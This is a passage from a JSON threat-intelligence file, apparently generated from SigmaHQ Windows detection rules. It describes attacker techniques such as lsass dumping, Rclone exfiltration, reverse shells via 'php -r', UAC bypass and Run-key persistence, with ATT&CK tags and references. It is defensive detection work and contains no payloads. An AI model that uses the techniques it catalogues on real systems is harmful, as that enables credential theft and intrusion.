        "falsepositive": [
          "Legitimate usage of Cloudflared."
        ],
        "filename": "proc_creation_win_cloudflared_tunnel_cleanup.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://developers.cloudflare.com/cloudflare-one/connections/connect-apps",
          "https://github.com/cloudflare/cloudflared",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cloudflared_tunnel_cleanup.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1102",
          "attack.t1090",
          "attack.t1572"
        ]
      },
      "related": [
        {
          "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "4fe28b27-b13c-453e-a386-c2ef362a573b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "7050bba1-1aed-454e-8f73-3f46f09ce56a",
      "value": "Cloudflared Tunnel Connections Cleanup"
    },
    {
      "description": "Detects when an admin share is mounted using net.exe",
      "meta": {
        "author": "oscd.community, Teymur Kheirkhabarov @HeirhabarovT, Zach Stanford @svch0st, wagga",
        "creation_date": "2020/10/05",
        "falsepositive": [
          "Administrators"
        ],
        "filename": "proc_creation_win_net_use_mount_admin_share.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_use_mount_admin_share.yml"
        ],
        "tags": [
          "attack.lateral_movement",
          "attack.t1021.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "3abd6094-7027-475f-9630-8ab9be7b9725",
      "value": "Windows Admin Share Mount Via Net.EXE"
    },
    {
      "description": "Detects \"svchost.exe\" spawning \"rundll32.exe\" with command arguments like \"C:\\windows\\system32\\davclnt.dll,DavSetCookie\".\nThis could be an indicator of exfiltration or use of WebDav to launch code (hosted on a WebDav server).\n",
      "meta": {
        "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)",
        "creation_date": "2020/05/02",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_rundll32_webdav_client_execution.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/7.B.4_C10730EA-6345-4934-AA0F-B0EFCA0C4BA6.md",
          "https://github.com/OTRF/detection-hackathon-apt29/issues/17",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_webdav_client_execution.yml"
        ],
        "tags": [
          "attack.exfiltration",
          "attack.t1048.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "2dbd9d3d-9e27-42a8-b8df-f13825c6c3d5",
      "value": "WebDav Client Execution Via Rundll32.EXE"
    },
    {
      "description": "Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union)",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_iis_appcmd_http_logging.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.002/T1562.002.md#atomic-test-1---disable-windows-iis-http-logging",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iis_appcmd_http_logging.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "4eb28bed-d11a-4641-9863-c2ac017d910a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e4ed6030-ffe5-4e6a-8a8a-ab3c1ab9d94e",
      "value": "Disable Windows IIS HTTP Logging"
    },
    {
      "description": "Detects the execution of a renamed MegaSync.exe as seen used by ransomware families like Nefilim, Sodinokibi, Pysa, and Conti.",
      "meta": {
        "author": "Sittikorn S",
        "creation_date": "2021/06/22",
        "falsepositive": [
          "Software that illegally integrates MegaSync in a renamed form",
          "Administrators that have renamed MegaSync"
        ],
        "filename": "proc_creation_win_renamed_megasync.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://redcanary.com/blog/rclone-mega-extortion/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_megasync.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "643bdcac-8b82-49f4-9fd9-25a90b929f3b",
      "value": "Renamed MegaSync Execution"
    },
    {
      "description": "Detects suspicious command line reg.exe tool adding key to RUN key in Registry",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/06/28",
        "falsepositive": [
          "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reasons.",
          "Legitimate administrator sets up autorun keys for legitimate reasons.",
          "Discord"
        ],
        "filename": "proc_creation_win_reg_add_run_key.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys",
          "https://app.any.run/tasks/9c0f37bc-867a-4314-b685-e101566766d7/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_add_run_key.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1547.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "de587dce-915e-4218-aac4-835ca6af6f70",
      "value": "Potential Persistence Attempt Via Run Keys Using Reg.EXE"
    },
    {
      "description": "Detects some Empire PowerShell UAC bypass methods",
      "meta": {
        "author": "Ecco",
        "creation_date": "2019/08/30",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_hktl_empire_powershell_uac_bypass.yml",
        "level": "critical",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-EventVwrBypass.ps1#L64",
          "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-FodHelperBypass.ps1#L64",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_empire_powershell_uac_bypass.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1548.002",
          "car.2019-04-001"
        ]
      },
      "related": [
        {
          "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "3268b746-88d8-4cd3-bffc-30077d02c787",
      "value": "HackTool - Empire PowerShell UAC Bypass"
    },
    {
      "description": "Detects installation of a new shim using sdbinst.exe.\nAdversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims\n",
      "meta": {
        "author": "Markus Neis",
        "creation_date": "2019/01/16",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_sdbinst_shim_persistence.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.mandiant.com/resources/blog/fin7-shim-databases-persistence",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sdbinst_shim_persistence.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.t1546.011"
        ]
      },
      "related": [
        {
          "dest-uuid": "42fe883a-21ea-4cfb-b94a-78b6476dcc83",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "517490a7-115a-48c6-8862-1a481504d5a8",
      "value": "Potential Shim Database Persistence via Sdbinst.EXE"
    },
    {
      "description": "Detects the execution of clip.exe in order to copy data to the clipboard. Adversaries may collect data stored in the clipboard from users copying information within or between applications.",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/07/27",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_clip_execution.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/clip",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1115/T1115.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_clip_execution.yml"
        ],
        "tags": [
          "attack.collection",
          "attack.t1115"
        ]
      },
      "related": [
        {
          "dest-uuid": "30973a08-aed9-4edf-8604-9084ce1b5c4f",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ddeff553-5233-4ae9-bbab-d64d2bd634be",
      "value": "Data Copied To Clipboard Via Clip.EXE"
    },
    {
      "description": "Detects execution of php using the \"-r\" flag. This is could be used as a way to launch a reverse shell or execute live php code.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/01/02",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_php_inline_command_execution.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.php.net/manual/en/features.commandline.php",
          "https://www.revshells.com/",
          "https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_php_inline_command_execution.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059"
        ]
      },
      "related": [
        {
          "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d81871ef-5738-47ab-9797-7a9c90cd4bfb",
      "value": "Php Inline Command Execution"
    },
    {
      "description": "Detects a suspicious call to the user32.dll function that locks the user workstation",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/06/04",
        "falsepositive": [
          "Scripts or links on the user desktop used to lock the workstation instead of Windows+L or the menu option"
        ],
        "filename": "proc_creation_win_rundll32_user32_dll.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://app.any.run/tasks/2aef9c63-f944-4763-b3ef-81eee209d128/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_user32_dll.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "3b5b0213-0460-4e3f-8937-3abf98ff7dcc",
      "value": "Suspicious Workstation Locking via Rundll32"
    },
    {
      "description": "Detects the usage of the \"Squirrel.exe\" to download arbitrary files. This binary is part of multiple Electron based software installations (Slack, Teams, Discord, etc.)\n",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), Karneades / Markus Neis, Jonhnathan Ribeiro, oscd.community",
        "creation_date": "2022/06/09",
        "falsepositive": [
          "Expected FP with some Electron based applications such as (1Clipboard, Beaker Browser, Caret, Discord, GitHub Desktop, etc.)"
        ],
        "filename": "proc_creation_win_squirrel_download.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "http://www.hexacorn.com/blog/2019/03/30/sqirrel-packages-manager-as-a-lolbin-a-k-a-many-electron-apps-are-lolbins-by-default/",
          "http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/",
          "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Squirrel/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_squirrel_download.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.execution",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1e75c1cc-c5d4-42aa-ac3d-91b0b68b3b4c",
      "value": "Arbitrary File Download Via Squirrel.EXE"
    },
    {
      "description": "Detects the use of the RunXCmd tool to execute commands with System or TrustedInstaller accounts",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/01/24",
        "falsepositive": [
          "Legitimate use by administrators"
        ],
        "filename": "proc_creation_win_pua_runxcmd.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/",
          "https://www.d7xtech.com/free-software/runx/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_runxcmd.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1569.002",
          "attack.s0029"
        ]
      },
      "related": [
        {
          "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "93199800-b52a-4dec-b762-75212c196542",
      "value": "PUA - RunXCmd Execution"
    },
    {
      "description": "Detects the use of \"DumpMinitool.exe\" a tool that allows the dump of process memory via the use of the \"MiniDumpWriteDump\"",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), Florian Roth (Nextron Systems)",
        "creation_date": "2022/04/06",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_dumpminitool_execution.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/mrd0x/status/1511489821247684615",
          "https://twitter.com/mrd0x/status/1511415432888131586",
          "https://lolbas-project.github.io/lolbas/OtherMSBinaries/DumpMinitool/",
          "https://gist.github.com/nasbench/6d58c3c125e2fa1b8f7a09754c1b087f",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dumpminitool_execution.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1036",
          "attack.t1003.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "dee0a7a3-f200-4112-a99b-952196d81e42",
      "value": "DumpMinitool Execution"
    },
    {
      "description": "Detects execution of rundll32 where the DLL being called is stored in an Alternate Data Stream (ADS).",
      "meta": {
        "author": "Harjot Singh, '@cyb3rjy0t'",
        "creation_date": "2023/01/21",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_rundll32_ads_stored_dll_execution.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Rundll32",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_ads_stored_dll_execution.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1564.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9248c7e1-2bf3-4661-a22c-600a8040b446",
      "value": "Potential Rundll32 Execution With DLL Stored In ADS"
    },
    {
      "description": "Detects execution of RClone utility for exfiltration as used by various ransomwares strains like REvil, Conti, FiveHands, etc",
      "meta": {
        "author": "Bhabesh Raj, Sittikorn S, Aaron Greetham (@beardofbinary) - NCC Group",
        "creation_date": "2021/05/10",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_pua_rclone_execution.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.splunk.com/en_us/blog/security/darkside-ransomware-splunk-threat-update-and-detections.html",
          "https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/",
          "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware",
          "https://labs.sentinelone.com/egregor-raas-continues-the-chaos-with-cobalt-strike-and-rclone",
          "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_rclone_execution.yml"
        ],
        "tags": [
          "attack.exfiltration",
          "attack.t1567.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "bf1b6176-597c-4600-bfcd-ac989670f96b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e37db05d-d1f9-49c8-b464-cee1a4b11638",
      "value": "PUA - Rclone Execution"
    },
    {
      "description": "Detects execution of \"curl.exe\" with the \"file://\" protocol handler in order to read local files.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/07/27",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_curl_local_file_read.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://curl.se/docs/manpage.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_curl_local_file_read.yml"
        ],
        "tags": [
          "attack.execution"
        ]
      },
      "uuid": "aa6f6ea6-0676-40dd-b510-6e46f02d8867",
      "value": "Local File Read Using Curl.EXE"
    },
    {
      "description": "Detects usage of the \"cipher\" built-in utility in order to overwrite deleted data from disk.\nAdversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources.\nData destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/12/26",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_cipher_overwrite_deleted_data.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md#atomic-test-3---overwrite-deleted-data-on-c-drive",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cipher_overwrite_deleted_data.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1485"
        ]
      },
      "related": [
        {
          "dest-uuid": "d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4b046706-5789-4673-b111-66f25fe99534",
      "value": "Deleted Data Overwritten Via Cipher.EXE"
    },
    {
      "description": "Detects usage of namp/zenmap. Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/12/10",
        "falsepositive": [
          "Network administrator computer"
        ],
        "filename": "proc_creation_win_pua_nmap_zenmap.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://nmap.org/",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md#atomic-test-3---port-scan-nmap-for-windows",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_nmap_zenmap.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1046"
        ]
      },
      "related": [
        {
          "dest-uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f6ecd1cf-19b8-4488-97f6-00f0924991a3",
      "value": "PUA - Nmap/Zenmap Execution"
    },
    {
      "description": "Detects usage of the \"Add-AppxPackage\" or it's alias \"Add-AppPackage\" to install unsigned AppX packages",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/01/31",
        "falsepositive": [
          "Installation of unsigned packages for testing purposes"
        ],
        "filename": "proc_creation_win_powershell_install_unsigned_appx_packages.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://learn.microsoft.com/en-us/windows/msix/package/unsigned-package",
          "https://twitter.com/WindowsDocs/status/1620078135080325122",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_install_unsigned_appx_packages.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.defense_evasion"
        ]
      },
      "uuid": "37651c2a-42cd-4a69-ae0d-22a4349aa04a",
      "value": "Unsigned AppX Installation Attempt Using Add-AppxPackage"
    },
    {
      "description": "Conti recommendation to its affiliates to use esentutl to access NTDS dumped file. Trickbot also uses this utilities to get MSEdge info via its module pwgrab.",
      "meta": {
        "author": "sam0x90",
        "creation_date": "2021/08/06",
        "falsepositive": [
          "To be determined"
        ],
        "filename": "proc_creation_win_esentutl_params.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/",
          "https://attack.mitre.org/software/S0404/",
          "https://twitter.com/vxunderground/status/1423336151860002816",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_esentutl_params.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003",
          "attack.t1003.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "7df1713a-1a5b-4a4b-a071-dc83b144a101",
      "value": "Esentutl Gather Credentials"
    },
    {
      "description": "Use of hostname to get information",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/01",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_hostname_execution.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/hostname",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md#atomic-test-6---hostname-discovery-windows",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hostname_execution.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1082"
        ]
      },
      "related": [
        {
          "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "7be5fb68-f9ef-476d-8b51-0256ebece19e",
      "value": "Suspicious Execution of Hostname"
    },
    {
      "description": "Detects a possible process memory dump that uses the white-listed Citrix TrolleyExpress.exe filename as a way to dump the lsass process memory",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/02/10",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_citrix_trolleyexpress_procdump.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.youtube.com/watch?v=Ie831jF0bb0",
          "https://twitter.com/_xpn_/status/1491557187168178176",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_citrix_trolleyexpress_procdump.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218.011",
          "attack.credential_access",
          "attack.t1003.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4c0aaedc-154c-4427-ada0-d80ef9c9deb6",
      "value": "Process Access via TrolleyExpress Exclusion"
    },
    {
      "description": "Detects the use of NSudo tool for command execution",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali",
        "creation_date": "2022/01/24",
        "falsepositive": [
          "Legitimate use by administrators"
        ],
        "filename": "proc_creation_win_pua_nsudo.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/",
          "https://nsudo.m2team.org/en-us/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_nsudo.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1569.002",
          "attack.s0029"
        ]
      },
      "related": [
        {
          "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "771d1eb5-9587-4568-95fb-9ec44153a012",
      "value": "PUA - NSudo Execution"
    },
    {
      "description": "Detects the suspicious execution of a utility to convert Windows 3.x .grp files or for persistence purposes by malicious software or actors",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/05/19",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_lolbin_susp_grpconv.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/0gtweet/status/1526833181831200770",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_grpconv.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1547"
        ]
      },
      "related": [
        {
          "dest-uuid": "1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f14e169e-9978-4c69-acb3-1cff8200bc36",
      "value": "Suspicious GrpConv Execution"
    },
    {
      "description": "Detects calls to the AtomicTestHarnesses \"Invoke-ATHRemoteFXvGPUDisablementCommand\" which is designed to abuse the \"RemoteFXvGPUDisablement.exe\" binary to run custom PowerShell code via module load-order hijacking.",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/07/13",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_powershell_remotefxvgpudisablement_abuse.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/AtomicTestHarnesses/blob/7e1e4da116801e3d6fcc6bedb207064577e40572/TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_remotefxvgpudisablement_abuse.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a6fc3c46-23b8-4996-9ea2-573f4c4d88c5",
      "value": "RemoteFXvGPUDisablement Abuse Via AtomicTestHarnesses"
    },
    {
      "description": "Detects a WMI backdoor in Exchange Transport Agents via WMI event filters",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2019/10/11",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_wmi_backdoor_exchange_transport_agent.yml",
        "level": "critical",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/cglyer/status/1182389676876980224",
          "https://twitter.com/cglyer/status/1182391019633029120",
